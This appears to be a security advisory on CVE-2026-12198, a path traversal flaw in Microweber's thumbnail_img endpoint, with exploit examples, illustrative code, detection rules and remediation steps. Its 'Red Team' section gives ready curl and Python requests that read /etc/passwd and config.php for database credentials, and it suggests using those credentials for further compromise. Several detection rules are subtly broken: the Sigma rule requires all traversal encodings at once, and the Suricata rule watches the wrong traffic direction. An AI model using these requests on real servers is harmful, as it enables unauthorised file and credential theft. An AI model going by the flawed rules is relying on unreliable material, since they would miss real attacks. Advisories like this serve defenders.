CVE-2026-12198

Executive Summary

CVE-2026-12198 is a critical path traversal vulnerability discovered in the Microweber content management system, affecting all versions up to and including 2.0.20. The flaw resides in the /api_nosession/thumbnail_img API endpoint, specifically within the userfiles_path function. By manipulating the cache_path_relative argument, an unauthenticated remote attacker can traverse directories outside the intended web root, leading to unauthorized disclosure of sensitive files such as configuration files, database credentials, and system files. The CVSS score of 7.3 (High) reflects the ease of exploitation and the potential for significant data breach. Public exploit code has been released, and the vendor has not responded to disclosure attempts, leaving users at risk with no official patch available.

Supply Chain & Package Security

Microweber is a PHP-based CMS distributed via its official website and GitHub. This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby) and does not involve a third-party dependency supply chain attack. The risk is confined to direct installations of the Microweber application.

CVSS Breakdown & Threat Level

• CVSS Score: 7.3 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – unauthenticated access.
• User Interaction: None (UI:N) – no user action needed.
• Scope: Unchanged (S:U) – vulnerable component only.
• Confidentiality Impact: High (C:H) – full file read capability.
• Integrity Impact: None (I:N) – no file modification.
• Availability Impact: None (A:N) – no denial of service.

Threat Level: High. The combination of public exploit, no authentication requirement, and high confidentiality impact makes this a critical risk for any exposed Microweber instance.

Deep Dive & Mechanics

The vulnerability is a classic path traversal (directory traversal) flaw in the thumbnail_img API endpoint. The endpoint is designed to generate and serve thumbnail images from a user-specified path. The cache_path_relative parameter is used to construct the file path for the thumbnail cache. Due to insufficient sanitization, an attacker can inject ../ sequences to escape the intended directory and read arbitrary files from the server.

Vulnerable Code Flow:

1. The API endpoint /api_nosession/thumbnail_img receives a request with the cache_path_relative parameter.
2. The userfiles_path function concatenates this parameter with a base directory (e.g., userfiles/).
3. The resulting path is used to read a file without proper validation.
4. If the file exists, it is returned to the attacker.

Example Attack:

GET /api_nosession/thumbnail_img?cache_path_relative=../../../../etc/passwd

This would attempt to read /etc/passwd from the server.

The vulnerability is particularly dangerous because it requires no authentication and can be used to read sensitive configuration files (e.g., config.php containing database credentials), potentially leading to full server compromise.

Vulnerable vs. Patched Code

Vulnerable Code (Microweber <= 2.0.20):

// In userfiles_path function
function userfiles_path($path = '') {
    $base = userfiles_path_base(); // returns 'userfiles/'
    return $base . $path; // No sanitization
}

// In thumbnail_img endpoint
$cache_path = userfiles_path($_GET['cache_path_relative']);
$file = file_get_contents($cache_path);
echo $file;

Patched Code (Hypothetical fix):

function userfiles_path($path = '') {
    $base = realpath(userfiles_path_base());
    $full_path = realpath($base . '/' . $path);
    // Ensure the resolved path is within the base directory
    if (strpos($full_path, $base) !== 0) {
        die('Invalid path');
    }
    return $full_path;
}

The fix uses realpath() to resolve all ../ sequences and then checks that the resulting path starts with the intended base directory. This prevents directory traversal.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A vulnerable Microweber instance (version <= 2.0.20) accessible over the network.
• No authentication required.

Exploit Steps:

1. Identify the target Microweber installation.
2. Send a crafted GET request to the vulnerable endpoint.

Example using cURL:

curl "http://target.com/api_nosession/thumbnail_img?cache_path_relative=../../../../etc/passwd"

Example using Python:

import requests

target = "http://target.com"
payload = "../../../../etc/passwd"
url = f"{target}/api_nosession/thumbnail_img?cache_path_relative={payload}"
response = requests.get(url)
print(response.text)

Expected Output:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

Advanced Exploitation:

• Read config.php to obtain database credentials:

  cache_path_relative=../../../../config/config.php
  

• Read Apache/Nginx configuration files to map the web root.
• Use the obtained credentials to access the database and potentially execute code via SQL injection or other means.

Blue Team (Defensive)

Detection:

• Monitor web server logs for requests containing ../ or %2e%2e/ in the cache_path_relative parameter.
• Look for requests to /api_nosession/thumbnail_img with unusual path patterns.

Log Example:

192.168.1.100 - - [01/Jan/2026:12:00:00 +0000] "GET /api_nosession/thumbnail_img?cache_path_relative=../../../../etc/passwd HTTP/1.1" 200 1234 "-" "curl/7.68.0"

Mitigation:

• Immediately apply input validation and sanitization to the cache_path_relative parameter.
• Use a Web Application Firewall (WAF) to block path traversal patterns.
• Restrict file read permissions for the web server user.
• If possible, disable the vulnerable endpoint until a patch is available.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /api_nosession/thumbnail_img with cache_path_relative containing ../ or URL-encoded variants (%2e%2e%2f).
• Unusual file paths in the cache_path_relative parameter (e.g., /etc/passwd, /windows/win.ini).

File System IOCs:

• Unexpected access to sensitive files (e.g., /etc/passwd, config.php) in web server logs.
• Presence of files outside the intended userfiles/ directory being read.

Log IOCs:

• Web server access logs showing 200 responses to path traversal attempts.
• Error logs showing failed attempts to read non-existent files (e.g., file_get_contents(/etc/shadow): failed to open stream).

Detection Engineering

YARA Rule

rule CVE_2026_12198_Microweber_Path_Traversal {
    meta:
        description = "Detects path traversal attempts against Microweber CVE-2026-12198"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-12198"
        severity = "high"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $traversal3 = "%2e%2e%2f"
        $traversal4 = "%2e%2e\\"
        $endpoint = "/api_nosession/thumbnail_img"
        $param = "cache_path_relative"
    condition:
        $endpoint and $param and any of ($traversal*)
}

Sigma Rule

title: Microweber Path Traversal Attempt (CVE-2026-12198)
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit path traversal in Microweber thumbnail_img endpoint
author: Valters IT
date: 2026-01-01
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 
            - '/api_nosession/thumbnail_img'
            - 'cache_path_relative='
        cs-uri-query|contains|all:
            - '../'
            - '..\\'
            - '%2e%2e%2f'
            - '%2e%2e\\'
    condition: selection
falsepositives:
    - Legitimate use of relative paths in rare cases (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2026-12198 Microweber Path Traversal Attempt";
    flow:to_server,established;
    content:"/api_nosession/thumbnail_img"; http_uri;
    content:"cache_path_relative"; http_uri;
    pcre:"/(\.\.\/|\.\.\\|%2e%2e%2f|%2e%2e\\)/i";
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
    reference:cve,2026-12198;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint if possible by removing or commenting out the thumbnail_img functionality in the API.
2. Apply input validation to the cache_path_relative parameter. Use a whitelist of allowed characters and reject any input containing ../ or ..\\.
3. Use a Web Application Firewall (WAF) to block path traversal patterns. Example ModSecurity rule:

   SecRule ARGS:cache_path_relative "@contains ../" "id:1000002,phase:2,deny,status:403,msg:'Path traversal attempt blocked'"
   

4. Restrict file system permissions so the web server user cannot read sensitive files outside the web root.

Long-Term Fix:

• The vendor must release a patched version that properly sanitizes the cache_path_relative parameter. Until then, consider migrating to an alternative CMS or implementing a custom patch as shown in the "Vulnerable vs. Patched Code" section.

Monitoring:

• Enable detailed logging for the web server and monitor for path traversal patterns.
• Set up alerts for multiple failed attempts from the same IP address.

Valters IT – Securing your digital frontier.